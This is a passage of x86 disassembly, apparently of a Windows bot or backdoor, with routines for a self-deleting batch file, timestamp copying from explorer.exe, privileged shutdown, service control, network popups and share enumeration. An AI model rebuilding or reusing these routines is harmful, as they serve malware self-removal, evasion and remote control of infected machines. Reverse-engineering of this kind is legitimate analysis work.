sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB030 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2810000h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 28008ACh push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26B0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 2710A4Eh mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2700000h push edi call near ptr 26708E6h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 26A059Eh push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax nop call near ptr 26A04DCh cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 26A0381h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2820000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 2670C39h nop loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0605h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j nop call near ptr 2690CE2h push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E0605h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26B0C66h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26C0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27A03F6h mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26A0D63h nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 call near ptr 2690CE2h nop mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 call near ptr 2690CE2h nop mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 2690CE2h mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 2690CE2h cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push 